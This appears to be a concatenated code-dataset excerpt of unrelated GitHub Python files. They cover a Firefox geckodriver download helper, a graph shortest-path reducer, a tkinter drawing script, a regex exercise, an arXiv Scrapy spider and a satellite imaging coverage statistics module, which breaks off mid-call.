\r\n def getGeckoDriver_zip(self, URL):\r\n if sys.version_info.major <= 2:\r\n import urllib2\r\n zipDriver = urllib2.urlopen(URL).read()\r\n zip_ref = zipfile.ZipFile(io.BytesIO(zipDriver))\r\n zip_ref.extractall(self.downloadsDir)\r\n zip_ref.close() \r\n elif sys.version_info.major >= 3:\r\n import urllib.request\r\n zipDriver = urllib.request.urlopen(URL).read()\r\n zip_ref = zipfile.ZipFile(io.BytesIO(zipDriver))\r\n zip_ref.extractall(self.downloadsDir)\r\n zip_ref.close()\r\n \r\n def getGeckoDriver_tar_gz(self, URL):\r\n if sys.version_info.major <= 2:\r\n import urllib2\r\n tar_gz_file = urllib2.urlopen(URL).read()\r\n\r\n elif sys.version_info.major >= 3:\r\n import urllib.request\r\n tar_gz_file = urllib.request.urlopen(URL).read()\r\n \r\n file_like_object = io.BytesIO(tar_gz_file)\r\n tar = tarfile.open(fileobj=file_like_object)\r\n tar.extractall(path=self.downloadsDir)\r\n tar.close()\r\n \r\n def __del__(self):\r\n if self.desktopRunning == True:\r\n self.closeDesktopDriver()\r\n if self.mobileRunning == True:\r\n self.closeMobileDriver()\r\n try:\r\n os.remove(self.driverBinary)\r\n except:\r\n if self.driverBinary == None:\r\n print (\"ERROR: driverBinary = None\")\r\n else:\r\n print (\"Failed to delete firefox web driver binary \\\"%s\\\"\" % (self.driverBinary))\r\n \r\n print (\"Firefox Cleanup Complete\")\r\n\r\n \r\n def getWebdriverURL(self, driverPageURL):\r\n if sys.version_info.major <= 2:\r\n import urllib2\r\n html_page = urllib2.urlopen(driverPageURL)\r\n \r\n elif sys.version_info.major >= 3:\r\n import urllib.request\r\n html_page = urllib.request.urlopen(driverPageURL)\r\n \r\n soup = BeautifulSoup.BeautifulSoup(html_page, \"html.parser\")\r\n \r\n downloadsSection = soup.find('ul', {\"class\": \"release-downloads\"})\r\n \r\n driverList = downloadsSection.findAll(\"a\")\r\n \r\n for driver in driverList:\r\n driverUrl = driver['href']\r\n if \"linux64.tar.gz\" in driverUrl:\r\n self.linuxURL = self.githubUrl + driverUrl\r\n elif \"macos.tar.gz\" in driverUrl:\r\n self.macURL = self.githubUrl + driverUrl\r\n elif \"win64.zip\" in driverUrl:\r\n self.windowsURL = self.githubUrl + driverUrl\r\n \r\n \r\n def startDesktopDriver(self):\r\n \r\n firefoxDeskopProfile = webdriver.FirefoxProfile(profile_directory=self.ffProfileDir)\r\n firefoxDeskopProfile.set_preference(\"general.useragent.override\", self.desktopUA)\r\n\r\n self.firefoxDesktopDriver = webdriver.Firefox(firefox_profile=firefoxDeskopProfile, executable_path=self.driverBinary) \r\n self.desktopRunning = True\r\n \r\n def startMobileDriver(self): \r\n \r\n firefoxMobileProfile = webdriver.FirefoxProfile(profile_directory=self.ffProfileDir)\r\n firefoxMobileProfile.set_preference(\"general.useragent.override\", self.mobileUA)\r\n \r\n self.firefoxMobileDriver = webdriver.Firefox(firefox_profile=firefoxMobileProfile, executable_path=self.driverBinary)\r\n self.mobileRunning = True\r\n \r\n def getDesktopUrl(self, url):\r\n if self.desktopRunning == True:\r\n if not url.startswith(\"http\"):\r\n url = \"http://\" + url\r\n self.firefoxDesktopDriver.get(url)\r\n else:\r\n print (\"Firefox desktop webdriver is not open\")\r\n \r\n def getMobileUrl(self, url):\r\n if self.mobileRunning == True:\r\n if not url.startswith(\"http\"):\r\n url = \"http://\" + url\r\n self.firefoxMobileDriver.get(url)\r\n else:\r\n print (\"Firefox desktop webdriver is not open\")\r\n def closeDesktopDriver(self):\r\n if self.desktopRunning == True:\r\n try:\r\n self.firefoxDesktopDriver.quit()\r\n self.desktopRunning = False\r\n except Exception as e:\r\n print (\"Hit exception following exception when trying to close the Firefox Desktop driver\\n\\t%s\" % e)\r\n \r\n def closeMobileDriver(self):\r\n if self.mobileRunning == True:\r\n try:\r\n self.firefoxMobileDriver.quit()\r\n self.mobileRunning = False\r\n except Exception as e:\r\n print (\"Hit exception following exception when trying to close the Firefox Mobile driver\\n\\t%s\" % e)\r\n","repo_name":"cash2one/BingTool","sub_path":"FirefoxWebDriver.py","file_name":"FirefoxWebDriver.py","file_ext":"py","file_size_in_byte":7354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"20"} +{"seq_id":"29396484500","text":"# Reducer program to find the shortest path to all the minimum degree nodes from the maximum one and the corresponding\n# shortest path length\nimport sys\nimport numpy as np\n#import networkx as nx\n#import matplotlib.pyplot as plt\n\n# Uncomment for graph visualization\n#G = nx.DiGraph()\n\n\nrows = 42\ncols = 42\ndict_pairs = {}\nd2d_adj = np.zeros([rows, cols], dtype=int)\nd2d_weight = np.zeros([rows, cols], dtype=int)\nd_ecounts = {}\n\n\n# Helper method to find the shortest distance from to node to other nodes\ndef find_shortest_distance(graph, start_index):\n distances = [float(\"inf\") for _ in range(len(graph))]\n visited = [False for _ in range(len(graph))]\n distances[start_index] = 0\n\n while 1:\n short_dist = 999999\n short_index = -1\n for i in range(len(graph)):\n if distances[i] < short_dist and not visited[i]:\n short_dist = distances[i]\n short_index = i\n\n if short_index == -1:\n return distances\n\n for i in range(len(graph[short_index])):\n if graph[short_index][i] != 0 and distances[i] > distances[short_index] + graph[short_index][i]:\n distances[i] = distances[short_index] + graph[short_index][i]\n\n visited[short_index] = True\n\n\n# Creating the adjacency matrix from the values obtained from stdin\nfor d2d in sys.stdin:\n d2d = d2d.strip()\n d1, d2 = d2d.split(\" \")\n d1 = int(d1)\n d2 = int(d2)\n\n d2d_weight[d1][d2] += 1\n d2d_weight[d2][d1] += 1\n\n hash_val = str(d1) + \"_\" + str(d2)\n\n if d1 < d2:\n hash_val = str(d1) + \"_\" + str(d2)\n else:\n hash_val = str(d2) + \"_\" + str(d1)\n\n if hash_val in dict_pairs.keys():\n 1 == 1\n else:\n dict_pairs[hash_val] = 1\n d2d_adj[d1][d2] += 1\n d2d_adj[d2][d1] += 1\n\n# Code to print the adjacency matrix of the graph\n'''\nfor i in range(rows):\n for j in range(cols):\n print(d2d_adj[i][j], end=\" \")\n print('\\n')\n'''\n\nfor row in range(rows):\n count = 0\n for col in range(cols):\n count += d2d_adj[row][col]\n d_ecounts[row] = count\n\n# Finding the maximum and minimum degree among the nodes\nmax = -1\nmin = 100000\nfor key in d_ecounts:\n val = d_ecounts[key]\n if val > max:\n max = val\n\n if val < min:\n min = val\n\n\nmax_nodes = []\nmin_nodes = []\n\n# Creating the list of Max(maximum degree) and Min(minimum degree) nodes\nfor key in d_ecounts:\n val = d_ecounts[key]\n if val == max:\n max_nodes.append(key)\n elif val == min:\n min_nodes.append(key)\n\n#print(f'Max Nodes: {max_nodes}')\n#print(f'Min Nodes: {min_nodes}')\n\n# Uncomment for graph visualization\n'''\nfor i in range(rows):\n for j in range(cols):\n if d2d_adj[i][j] > 0:\n G.add_edge(i, j)\n\n\nnx.draw(G, with_labels=True)\nplt.show()\n'''\n\nshortest_path_length = find_shortest_distance(d2d_weight, max_nodes[0])\n\n# Display the Max(maximum degree) Min(minimum degree) Length of Path\nfor max_node in max_nodes:\n for min_node in min_nodes:\n print(f'{max_node} {min_node} {shortest_path_length[min_node]}')\n\n\n\n","repo_name":"ankitverma5859/IIT_KGP","sub_path":"SpringSemester2022/Week7_NoSQL/Query4/reducer.py","file_name":"reducer.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"34259393876","text":"from tkinter import Tk, Canvas, PhotoImage, mainloop\n\nWIDTH = 640\nHEIGHT = 480\nwindow = Tk()\ncanvas = Canvas(window, width=WIDTH, height=HEIGHT, bg=\"#000000\")\ncanvas.pack()\nimg = PhotoImage(width=WIDTH, height=HEIGHT)\ncanvas.create_image((WIDTH/2, HEIGHT/2), image=img, state=\"normal\")\n\nx = 100\ny = 2\nwhile y < 480:\n img.put(\"#ffffff\", (x, y))\n y += 1\n\n# x = 26\n# y = 2\n# while y < 480:\n# img.put(\"#ffffff\", (x, y))\n# y += 1\n\nmainloop()\n","repo_name":"vamishnin/PythonCoursePro","sub_path":"Useful/for_lec2/draw_lines.py","file_name":"draw_lines.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"74978520058","text":"'''\n定义函数名:def namecard(name,corporation)\n\n输入: 姓名,机构名称\n\n输出:email地址\n\n​\n\n定义函数名:def splitNamecard(email):\n\n输入: email地址\n\n输出: 姓名,机构名称\n\n建议两种方式实现,并比较Regx正则表达式实现的优点。\n\n请参考往期链接\n'''\nimport re\nstring = \"Happy 2 vaccine to us\"\nresult = re.findall(\"[a-zA-Z]\", string)\nprint(result)\n\nemail = 'eric@gridvisi.com'\n\ndef splitNamecard(email):\n return re.findall(\"[a-zA-Z]\", email)\nprint(splitNamecard(email))\n\n\nresult = re.split(\"@\", email, 1)\nprint(result[1])\nprint(result[1].split(\".\"))\ncorp = re.split(\".\",result[1],1)\nprint(corp)\n\nresult = re.findall( \"[a-z]\", email)\nprint(result)\n\n","repo_name":"gridvisi/PycharmProjects","sub_path":"PythonABC/RE_Regular/Namecard.py","file_name":"Namecard.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"884865239","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport re\nfrom arxiv.items import *\nfrom bs4 import BeautifulSoup\n\n\nclass ArxivSpider(scrapy.Spider):\n name = 'arXiv'\n allowed_domains = ['arxiv.org']\n start_urls = ['https://arxiv.org/list/astro-ph/1904?show=10000']\n #start_urls = ['https://arxiv.org/abs/1904.09130']\n\n def parse(self, response):\n regular = re.compile(r'/abs/\\d{4}.\\d{5}')\n lis = response.text\n for href in regular.findall(lis):\n try:\n url = 'https://arxiv.org'+href\n print(url)\n yield scrapy.Request(url,callback=self.parse_essay)\n except:\n continue\n\n def parse_essay(self, response):\n essay = response.text\n soup = BeautifulSoup(essay,'html.parser')\n item = ArxivItem()\n item['title'] = soup.title.contents[0]\n item['abstract'] = soup.blockquote.contents[1]\n print(item['title'])\n yield item\n","repo_name":"ZhiyongYou/arxiv","sub_path":"arxiv/spiders/arXiv.py","file_name":"arXiv.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"42416525666","text":"import numpy as np\r\nimport pandas as pd\r\nimport statistics\r\nimport os\r\nfrom copy import deepcopy\r\nfrom datetime import timedelta\r\nfrom calendar import isleap\r\nfrom matplotlib import pyplot as plt\r\nfrom sklearn.neighbors.kde import KernelDensity\r\nfrom Time.TimeUnits import to_get_unit_in_seconds, seconds_to_unit, unit_in_symbol\r\nfrom Time.DaysNumber import to_determine_days_number_in_not_leap_year, to_determine_date_by_days_number_in_not_leap_year\r\n\r\n\r\nDAYS_IN_NOT_LEAP_YEAR = 365\r\nDAYS_IN_LEAP_YEAR = 366\r\n\r\n\r\nclass SatellitesStatistic:\r\n def __init__(self, satellites_list):\r\n self.satellites_list = satellites_list\r\n self.time_of_capturing = []\r\n for satellite in self.satellites_list:\r\n self.time_of_capturing.append(satellite.time_of_interpreted_capturing)\r\n self.time_of_capturing = np.sort(np.unique(np.concatenate(np.array(self.time_of_capturing))))\r\n\r\n self.captured_segments_of_polygons = []\r\n for time_count in self.time_of_capturing:\r\n self.captured_segments_of_polygons.append([])\r\n for satellite in self.satellites_list:\r\n sat_time_inx = np.where(satellite.time_of_interpreted_capturing == time_count)[0]\r\n if len(sat_time_inx) > 0:\r\n for capt_pol in satellite.interpreted_segments_of_polygons[sat_time_inx[0]]:\r\n self.captured_segments_of_polygons[-1].append(capt_pol)\r\n for time_count_inx in range(0, len(self.captured_segments_of_polygons)):\r\n for capt_pol_inx in range(0, len(self.captured_segments_of_polygons[time_count_inx])):\r\n self.captured_segments_of_polygons[time_count_inx][capt_pol_inx] = \\\r\n list(np.unique(np.array(\r\n self.captured_segments_of_polygons[time_count_inx][capt_pol_inx])))\r\n self.area_of_interest = self.satellites_list[0].area_of_interest\r\n self.step = np.timedelta64(self.satellites_list[0].step, 's')\r\n self.initial_simulation_time = self.satellites_list[0].initial_simulation_time\r\n self.final_simulation_time = self.satellites_list[0].final_simulation_time\r\n self.initial_annual_observation_period = self.satellites_list[0].initial_annual_observation_period\r\n self.final_annual_observation_period = self.satellites_list[0].final_annual_observation_period\r\n self.capturing_counts = None\r\n self.spans_time_counts = None\r\n self.solution_time_counts = None\r\n self.spans_periods_sec = None\r\n self.solution_periods_sec = None\r\n\r\n def to_calculate_counts(self, min_percent_solution):\r\n self.spans_time_counts = []\r\n self.solution_time_counts = []\r\n self.capturing_counts = []\r\n for pol_inx in range(0, len(self.area_of_interest.splitted_polygons_list)):\r\n self.capturing_counts.append([])\r\n for seg_inx in range(0, len(self.area_of_interest.splitted_polygons_list[pol_inx].\r\n segments_geo_coordinates_list)):\r\n self.capturing_counts[pol_inx].append(0)\r\n self.spans_time_counts.append(self.time_of_capturing[0])\r\n self.to_add_captured_segments(0)\r\n if self.to_calc_percentages_of_captured_segments_n_times(1) >= min_percent_solution:\r\n self.solution_time_counts.append(self.time_of_capturing[0])\r\n for time_count_inx in range(1, len(self.captured_segments_of_polygons[1:])):\r\n last_count_delta = np.timedelta64(self.time_of_capturing[time_count_inx] -\r\n self.time_of_capturing[time_count_inx - 1], 's')\r\n if last_count_delta > self.step:\r\n self.spans_time_counts.append(self.time_of_capturing[time_count_inx])\r\n self.to_add_captured_segments(time_count_inx)\r\n if self.to_calc_percentages_of_captured_segments_n_times(len(self.solution_time_counts) + 1) >= min_percent_solution:\r\n self.solution_time_counts.append(self.time_of_capturing[time_count_inx])\r\n\r\n def to_add_captured_segments(self, time_count_inx):\r\n for pol_inx in range(0, len(self.captured_segments_of_polygons[time_count_inx])):\r\n for seg in self.captured_segments_of_polygons[time_count_inx][pol_inx]:\r\n self.capturing_counts[pol_inx][seg] += 1\r\n\r\n def to_calc_percentages_of_captured_segments_n_times(self, n):\r\n \"\"\"\r\n @Описание:\r\n Метод определяет ход выполнения тематической задачи – какая площадь иили сколько процентов площади тестовых\r\n полигонов попало в поле зрения ГСК, сколько раз\r\n :param result_in_percents: если result_in_percents=True, то результат возвращается в процентах, если\r\n result_in_percents=False, то результат возвращается в м^2\r\n :return: список, в каждом элементе которого содержится процент площади группы полигонов, захваченных в ПЗ ГСК n\r\n раз, где n равняется номеру элемента списка плюс один\r\n \"\"\"\r\n captured_area = 0\r\n for pol_inx in range(0, len(self.capturing_counts)):\r\n for captured_seg_inx, times_of_captured in enumerate(self.capturing_counts[pol_inx]):\r\n if times_of_captured >= n:\r\n captured_area += self.area_of_interest.splitted_polygons_list[pol_inx].segments_area_list[\r\n captured_seg_inx]\r\n return captured_area / self.area_of_interest.full_area * 100\r\n\r\n def to_calculate_counts_data_obsolescence(self, min_percent_solution, days_to_data_aging):\r\n self.spans_time_counts = []\r\n self.solution_time_counts = []\r\n self.capturing_counts_sample = []\r\n self.capturing_counts_list = []\r\n self.time_of_capturing_list = []\r\n for pol_inx in range(0, len(self.area_of_interest.splitted_polygons_list)):\r\n self.capturing_counts_sample.append([])\r\n for seg_inx in range(0, len(self.area_of_interest.splitted_polygons_list[pol_inx].\r\n segments_geo_coordinates_list)):\r\n self.capturing_counts_sample[pol_inx].append(0)\r\n self.spans_time_counts.append(self.time_of_capturing[0])\r\n self.to_add_captured_segments_data_obsolescence(0)\r\n if self.to_calc_percentages_of_captured_segments_n_times_data_obsolescence(1) >= min_percent_solution:\r\n self.solution_time_counts.append(self.time_of_capturing[0])\r\n for time_count_inx in range(1, len(self.captured_segments_of_polygons[1:])):\r\n time_of_aging = self.time_of_capturing[time_count_inx] - np.timedelta64(days_to_data_aging, 'D')\r\n aging_counts = np.flip(np.where(np.array(self.time_of_capturing_list) < time_of_aging)[0])\r\n for i in aging_counts:\r\n del self.time_of_capturing_list[i]\r\n del self.capturing_counts_list[i]\r\n last_count_delta = np.timedelta64(self.time_of_capturing[time_count_inx] -\r\n self.time_of_capturing[time_count_inx - 1], 's')\r\n if last_count_delta > self.step:\r\n self.spans_time_counts.append(self.time_of_capturing[time_count_inx])\r\n self.to_add_captured_segments_data_obsolescence(time_count_inx)\r\n if self.to_calc_percentages_of_captured_segments_n_times_data_obsolescence(len(self.solution_time_counts) + 1) >= min_percent_solution:\r\n self.solution_time_counts.append(self.time_of_capturing[time_count_inx])\r\n\r\n def to_add_captured_segments_data_obsolescence(self, time_count_inx):\r\n for pol_inx in range(0, len(self.captured_segments_of_polygons[time_count_inx])):\r\n current_time = self.time_of_capturing[time_count_inx]\r\n self.capturing_counts_list.append(deepcopy(self.capturing_counts_sample))\r\n self.time_of_capturing_list.append(current_time)\r\n for seg in self.captured_segments_of_polygons[time_count_inx][pol_inx]:\r\n self.capturing_counts_list[-1][pol_inx][seg] += 1\r\n\r\n def to_calc_percentages_of_captured_segments_n_times_data_obsolescence(self, n, data_aging_years=None):\r\n \"\"\"\r\n @Описание:\r\n Метод определяет ход выполнения тематической задачи – какая площадь иили сколько процентов площади тестовых\r\n полигонов попало в поле зрения ГСК, сколько раз\r\n :param result_in_percents: если result_in_percents=True, то результат возвращается в процентах, если\r\n result_in_percents=False, то результат возвращается в м^2\r\n :return: список, в каждом элементе которого содержится процент площади группы полигонов, захваченных в ПЗ ГСК n\r\n раз, где n равняется номеру элемента списка плюс один\r\n \"\"\"\r\n capturing_counts = deepcopy(self.capturing_counts_sample)\r\n for count in range(0, len(self.capturing_counts_list)):\r\n for pol_inx in range(0, len(self.capturing_counts_list[count])):\r\n for seg_inx in range(0, len(self.capturing_counts_list[count][pol_inx])):\r\n if self.capturing_counts_list[count][pol_inx][seg_inx] > 0:\r\n capturing_counts[pol_inx][seg_inx] += 1\r\n captured_area = 0\r\n for pol_inx in range(0, len(self.capturing_counts_sample)):\r\n for captured_seg_inx, times_of_captured in enumerate(capturing_counts[pol_inx]):\r\n if times_of_captured >= n:\r\n captured_area += self.area_of_interest.splitted_polygons_list[pol_inx].segments_area_list[\r\n captured_seg_inx]\r\n return captured_area / self.area_of_interest.full_area * 100\r\n\r\n def to_determine_periods(self, to_skip_time_out_of_observation_period=False):\r\n self.spans_periods_sec = self.to_calculate_periods_sec(self.spans_time_counts,\r\n self.initial_simulation_time,\r\n to_skip_time_out_of_observation_period)\r\n self.solution_periods_sec = self.to_calculate_periods_sec(self.solution_time_counts,\r\n self.initial_simulation_time,\r\n to_skip_time_out_of_observation_period)\r\n # if len(self.solution_time_counts) > 0:\r\n # self.solution_periods_sec = self.to_calculate_periods_sec(self.solution_time_counts,\r\n # self.initial_simulation_time,\r\n # to_skip_time_out_of_observation_period)\r\n # else:\r\n # self.solution_periods_sec = self.to_calculate_periods_sec(self.solution_time_counts,\r\n # None,\r\n # to_skip_time_out_of_observation_period)\r\n\r\n def to_calculate_periods_sec(self, time_list, first_time=None, to_skip_time_out_of_observation_period=False):\r\n \"\"\"\r\n @Описание:\r\n Метод определяет время от времени начала наблюдения до первого значения времени из заданного списка и между\r\n соседними значениями времени из заданного списка в секундлах. Возможно вычисление периодов только по\r\n допустимому годовому периоду наблюдения.\r\n :param time_list: список значений времени, по которому будут вычисляться (date_time).\r\n :param first_time: начальное время наблюдений, от которого будет отсчитываться первый период (datetime).\r\n Допустимо None. При этом сразу вычисляются периоды между значениями time_list. По умолчанию None.\r\n :param initial_annual_observation_period: номер первого дня в невисокосном году допустимого годового периода\r\n наблюдения (времени в году, когда допустима съемка) (int). Задается методом to_set_annual_observations_period.\r\n По умолчанию DEFAULT_INITIAL_ANNUAL_OBSERVATION_PERIOD.\r\n :param final_annual_observation_period: номер последнего дня в невисокосном году годового подустимого периода\r\n наблюдений (времени в году, когда допустима съемка) (int). Задается методом to_set_annual_observations_period.\r\n По умолчанию DEFAULT_FINAL_ANNUAL_OBSERVATION_PERIOD.\r\n :param to_skip_time_out_of_observation_period: пропускать промежутки времени, не входящие в годовые периоды\r\n наблюдения (boolean). По умолчанию False.\r\n :return: список приодов в секундах (int, double)\r\n \"\"\"\r\n # Если нету пары значений времени (начального времени first_time и одного значения из time_list или два значения\r\n # из time_list), то возвращается [], а дальнейшие вычисления не производятся. Если есть, то задаётся первое\r\n # значение времени, от которого будет вестись отсчет - previous_time.\r\n if first_time is not None and len(time_list) > 0 :\r\n time_data_frame = np.append(np.datetime64(first_time), time_list)\r\n else:\r\n time_data_frame = time_list\r\n if len(time_data_frame) > 1:\r\n previous_time = np.datetime64(time_data_frame[0])\r\n\r\n else:\r\n return []\r\n # В список periods записываются периоды\r\n periods = []\r\n time_array = np.array(time_data_frame)\r\n # Если не пропускается время между периодами наблюдения\r\n if not to_skip_time_out_of_observation_period:\r\n # Список periods заполняется значениями периодов\r\n for time in time_array[1:]:\r\n period = np.timedelta64(time - previous_time, 's').astype(int)\r\n periods.append(period)\r\n previous_time = time\r\n # Если пропускается время между периодами наблюдения\r\n else:\r\n # Определение индикатора observation_period_inside_one_year, который показывает, что\r\n # final_annual_observation_period больше initial_annual_observation_period. Это означает, что что и начало и\r\n # конец периода наблюдения находятся внутри одного года без перехода в следующий (если True, если False, то\r\n # наоборот).\r\n observation_period_inside_one_year = self.final_annual_observation_period > \\\r\n self.initial_annual_observation_period\r\n # Вычисление даты начала годового периода наблюдения\r\n years_list = [int(str(t.astype('datetime64[Y]'))) for t in time_data_frame]\r\n current_year = years_list[0]\r\n start_of_current_observation_period = to_determine_date_by_days_number_in_not_leap_year(\r\n self.initial_annual_observation_period, current_year)\r\n end_of_current_observation_period = to_determine_date_by_days_number_in_not_leap_year(\r\n self.final_annual_observation_period, current_year)\r\n # Если previous_time оказывается не в периоде наблюдения, оно перемещается на начало следующего периода\r\n if observation_period_inside_one_year:\r\n if start_of_current_observation_period > previous_time > end_of_current_observation_period:\r\n previous_time = start_of_current_observation_period\r\n else:\r\n if previous_time < start_of_current_observation_period:\r\n previous_time = start_of_current_observation_period\r\n if previous_time < end_of_current_observation_period:\r\n if not isleap(current_year):\r\n days_in_current_year = DAYS_IN_LEAP_YEAR\r\n else:\r\n days_in_current_year = DAYS_IN_NOT_LEAP_YEAR\r\n previous_time += timedelta(days=days_in_current_year)\r\n # Если период наблюдений не пересекает границу соседних годов\r\n if observation_period_inside_one_year:\r\n for time_inx in range(1, len(time_array)):\r\n current_year = years_list[time_inx]\r\n year_of_previous_time = years_list[time_inx - 1]\r\n skipped_time = 0\r\n year_of_skipped_period = current_year\r\n # Вычисление времени, не входящего в период наблюдения\r\n while year_of_skipped_period > year_of_previous_time:\r\n start_of_new_observation_period = to_determine_date_by_days_number_in_not_leap_year(\r\n self.initial_annual_observation_period, year_of_skipped_period)\r\n end_of_old_observation_period = to_determine_date_by_days_number_in_not_leap_year(\r\n self.final_annual_observation_period, year_of_skipped_period - 1)\r\n skipped_time += (\r\n start_of_new_observation_period - end_of_old_observation_period).total_seconds()\r\n year_of_skipped_period -= 1\r\n # Вычисление периода без времени, не входящего в период наблюдения\r\n period = np.timedelta64(time_array[time_inx] - previous_time, 's').astype(int) - skipped_time\r\n periods.append(period)\r\n previous_time = time_array[time_inx]\r\n # Если период наблюдений пересекает границу соседних годов\r\n else:\r\n for time_inx in range(1, len(time_array)):\r\n day_of_time_in_year = to_determine_days_number_in_not_leap_year(previous_time)\r\n if day_of_time_in_year >= self.initial_annual_observation_period:\r\n year_of_not_observing_period = previous_time.year + 1\r\n else:\r\n year_of_not_observing_period = previous_time.year\r\n end_of_current_observation_period = to_determine_date_by_days_number_in_not_leap_year(\r\n self.final_annual_observation_period, year_of_not_observing_period)\r\n skipped_time = 0\r\n time_copy = time_array[time_inx]\r\n # Вычисление времени, не входящего в период наблюдения\r\n while time_copy >= end_of_current_observation_period:\r\n day_of_time_copy_in_year = to_determine_days_number_in_not_leap_year(previous_time)\r\n if day_of_time_copy_in_year >= self.initial_annual_observation_period:\r\n year_of_skipped_period = previous_time.year\r\n else:\r\n year_of_skipped_period = previous_time.year - 1\r\n start_of_new_observation_period = to_determine_date_by_days_number_in_not_leap_year(\r\n self.initial_annual_observation_period, year_of_skipped_period)\r\n end_of_old_observation_period = to_determine_date_by_days_number_in_not_leap_year(\r\n self.final_annual_observation_period, year_of_skipped_period)\r\n skipped_time += (start_of_new_observation_period - end_of_old_observation_period). \\\r\n total_seconds()\r\n time_copy = to_determine_date_by_days_number_in_not_leap_year(\r\n to_determine_days_number_in_not_leap_year(time_copy), time_copy.year - 1)\r\n # Вычисление периода без времени, не входящего в период наблюдения\r\n period = np.timedelta64(time_array[time_inx] - previous_time, 's').astype(int) - skipped_time\r\n periods.append(period)\r\n previous_time = time_array[time_inx]\r\n return periods\r\n\r\n def to_calculate_data(self, file_name, directory, data_time_unit='days', time_of_simulation_unit='years'):\r\n average_spans_list = []\r\n median_spans_list = []\r\n max_spans_list = []\r\n min_spans_list = []\r\n dispersion_of_spans_list = []\r\n standard_deviation_of_spans_list = []\r\n spans_times_list = []\r\n average_solutions_list = []\r\n median_solutions_list = []\r\n max_solutions_list = []\r\n min_solutions_list = []\r\n dispersion_of_solutions_list = []\r\n standard_deviation_of_solutions_list = []\r\n solutions_times_list = []\r\n for time_count_inx, time_count in enumerate(self.time_of_capturing):\r\n current_spans_periods = np.array(self.spans_periods_sec)[\r\n np.where(self.spans_time_counts <= time_count)]\r\n current_average_spans, \\\r\n current_median_spans, \\\r\n current_max_spans, \\\r\n current_min_spans, \\\r\n current_dispersion_of_spans, \\\r\n current_standard_deviation_of_spans = \\\r\n to_determine_median_average_max_min_dispersion_standard(current_spans_periods, data_time_unit)\r\n average_spans_list.append(current_average_spans)\r\n median_spans_list.append(current_median_spans)\r\n max_spans_list.append(current_max_spans)\r\n min_spans_list.append(current_min_spans)\r\n dispersion_of_spans_list.append(current_dispersion_of_spans)\r\n standard_deviation_of_spans_list.append(current_standard_deviation_of_spans)\r\n spans_times_list.append(len(current_spans_periods))\r\n current_solutions_periods = np.array(self.solution_periods_sec)[\r\n np.where(self.solution_time_counts <= time_count)]\r\n current_average_solutions, \\\r\n current_median_solutions, \\\r\n current_max_solutions, \\\r\n current_min_solutions, \\\r\n current_dispersion_of_solutions, \\\r\n current_standard_deviation_of_solutions = \\\r\n to_determine_median_average_max_min_dispersion_standard(current_solutions_periods, data_time_unit)\r\n average_solutions_list.append(current_average_solutions)\r\n median_solutions_list.append(current_median_solutions)\r\n max_solutions_list.append(current_max_solutions)\r\n min_solutions_list.append(current_min_solutions)\r\n dispersion_of_solutions_list.append(current_dispersion_of_solutions)\r\n standard_deviation_of_solutions_list.append(current_standard_deviation_of_solutions)\r\n solutions_times_list.append(len(current_solutions_periods))\r\n data_time_unit_symbol = unit_in_symbol(data_time_unit)\r\n time_of_simulation_unit_symbol = unit_in_symbol(time_of_simulation_unit)\r\n data_header = pd.MultiIndex.from_product(\r\n np.array([['Spans', 'Solutions'],\r\n ['Average (' + data_time_unit_symbol + ')',\r\n 'Median (' + data_time_unit_symbol + ')',\r\n 'Max (' + data_time_unit_symbol + ')',\r\n 'Min (' + data_time_unit_symbol + ')',\r\n 'Dispersion (' + data_time_unit_symbol + ')',\r\n 'Standard deviation (' + data_time_unit_symbol + ')',\r\n 'Number']]))\r\n table = pd.DataFrame(np.array([np.array(average_spans_list),\r\n np.array(median_spans_list),\r\n np.array(max_spans_list),\r\n np.array(min_spans_list),\r\n np.array(dispersion_of_spans_list),\r\n np.array(standard_deviation_of_spans_list),\r\n np.array(spans_times_list),\r\n np.array(average_solutions_list),\r\n np.array(median_solutions_list),\r\n np.array(max_solutions_list),\r\n np.array(min_solutions_list),\r\n np.array(dispersion_of_solutions_list),\r\n np.array(standard_deviation_of_solutions_list),\r\n np.array(solutions_times_list)]).T, columns=data_header)\r\n time_header = pd.MultiIndex.from_product(np.array([['Time'], ['Date and time', 'Time of simulation (' +\r\n time_of_simulation_unit_symbol + ')']]))\r\n time_of_simulation = (self.time_of_capturing -\r\n np.datetime64(self.initial_simulation_time)).astype('timedelta64[s]').astype('int') / \\\r\n to_get_unit_in_seconds(time_of_simulation_unit)\r\n time_table = pd.DataFrame(np.array([self.time_of_capturing, time_of_simulation]).T, columns=time_header)\r\n table = pd.concat([time_table, table], axis=1)\r\n if not os.path.exists(directory):\r\n os.makedirs(directory)\r\n # сохранение таблицы\r\n table.to_excel(directory + '\\\\' + file_name + '.xlsx')\r\n\r\n def to_draw_histogram_of_spans(self, title='Histogram of spans periods', unit_of_time='days',\r\n x_size=10, y_size=6, dpi=100, title_font=16, ticks_label_font=12, axis_title_font=14,\r\n color_ind='blue', show=True, file_name=None, directory_address=None):\r\n to_draw_histogram(self.spans_periods_sec, title,\r\n 'Spans periods (' + unit_in_symbol(unit_of_time) + ')', 'Spans number', unit_of_time,\r\n x_size, y_size, dpi, title_font, ticks_label_font, axis_title_font,\r\n color_ind, show, file_name, directory_address)\r\n\r\n def to_draw_histogram_of_solutions(self, title='Histogram of solutions periods', unit_of_time='days',\r\n x_size=10, y_size=6, dpi=100, title_font=16, ticks_label_font=12, axis_title_font=14,\r\n color_ind='blue', show=True, file_name=None, directory_address=None):\r\n to_draw_histogram(self.solution_periods_sec, title,\r\n 'Spans periods (' + unit_in_symbol(unit_of_time) + ')', 'Solutions number', unit_of_time,\r\n x_size, y_size, dpi, title_font, ticks_label_font, axis_title_font,\r\n color_ind, show, file_name, directory_address)\r\n\r\n def to_draw_distribution_density_of_spans(self, title='Distribution density of spans period', unit_of_time='days',\r\n x_size=10, y_size=6, dpi=100, title_font=16, ticks_label_font=12, axis_title_font=14,\r\n color_ind='blue', show=True, file_name=None, directory_address=None):\r\n to_draw_distribution_density(self.spans_periods_sec, 